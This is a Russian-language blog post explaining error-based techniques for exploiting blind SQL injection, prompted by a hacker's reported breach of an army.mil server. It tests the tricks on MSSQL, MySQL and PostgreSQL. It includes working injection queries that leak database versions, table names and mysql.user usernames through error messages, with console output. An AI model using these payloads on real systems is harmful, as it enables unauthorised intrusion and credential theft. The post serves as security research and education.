Быстрые техники эксплуатации blind SQL Injection

Пару дней назад TinKode вновь напомнил о себе, "поломав" web-сайт в домене army.mil. Под удар попал сервер onestop.army.mil, на котором исследователь обнаружил уязвимость "Слепое внедрение операторов SQL" (blind SQL Injection).

Логически "истинный запрос":

Логически "ложный запрос":

Но на этот раз меня не на столько заинтересовал сам факт компрометации указанного сервера, сколько используемая техника эксплуатации уязвимости blind SQL Injection на СУБД MSSQL 2000:

То есть, при некорректном приведении типов с использованием функции convert() MSSQL помещает "полезные данные" в сообщение об ошибке! Проверка на более старшей версии MSSQL 2005 показала, что используемая техника TinKode работает и на ней:

select convert(int,@@version);
select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=1));
select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=2));
...

Аналогичные махинации с приведением типов были повторены и на распространенной СУБД MySQL. Эксперимент с данной базой данных показал, что при некорректном приведении типов MySQL возвращает лишь не критическое уведомление, которое не позволяет достигнуть аналогичных целей при эксплуатации blind SQL Injection:

mysql> select cast('str1' as char);
+----------------------+
| cast('str1' as char) |
+----------------------+
| str1                 |
+----------------------+
1 row in set (0.00 sec)

mysql> select cast('str1' as decimal);
+-------------------------+
| cast('str1' as decimal) |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.01 sec)

mysql> show warnings;
+---------+------+-------------------------------------------+
| Level   | Code | Message                                   |
+---------+------+-------------------------------------------+
| Warning | 1292 | Truncated incorrect DECIMAL value: 'str1' |
+---------+------+-------------------------------------------+
1 row in set (0.00 sec)

mysql> select convert('str2',char);
+----------------------+
| convert('str2',char) |
+----------------------+
| str2                 |
+----------------------+
1 row in set (0.00 sec)

mysql> select convert('str2',decimal);
+-------------------------+
| convert('str2',decimal) |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)

mysql> show warnings;
+---------+------+-------------------------------------------+
| Level   | Code | Message                                   |
+---------+------+-------------------------------------------+
| Warning | 1292 | Truncated incorrect DECIMAL value: 'str2' |
+---------+------+-------------------------------------------+
1 row in set (0.00 sec)

Ну и ладно:) Зато для MySQL всех версий доступна универсальная техника Qwazar:

select count(*),concat(version(),floor(rand(0)*2))x from table group by x;
select count(*),concat((select user from mysql.user limit 0,1),floor(rand(0)*2)) x from mysql.user group by x;
select count(*),concat((select user from mysql.user limit 1,1),floor(rand(0)*2)) x from mysql.user group by x;
...
select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);

За один такой запрос в сообщении об ошибке можно "протащить" до 64 байт полезных данных. Техника работает на MySQL >= v3.x

Продолжив эксперименты с техникой TinKode, было выяснено, что его метод также работает и под PostgreSQL:

select cast(version() as numeric);
select cast((select table_name from information_schema.tables limit 1 offset 0) as numeric);
select cast((select table_name from information_schema.tables limit 1 offset 1) as numeric);
...

PostgreSQL аналогично MSSQL особо не ограничивает длину возвращаемых данных в сообщении об ошибке. В случае если вызов функции pg_last_error() в контексте PHP не происходит, а error_reporting все-таки включен, то тогда за один запрос можно получить до 1229 байт полезных данных в сообщении об ошибке, генерируемой PHP.

А вот с ораклятиной, такие фокусы, к сожалению не проходят:

Стоит покапать в направлении этой СУБД...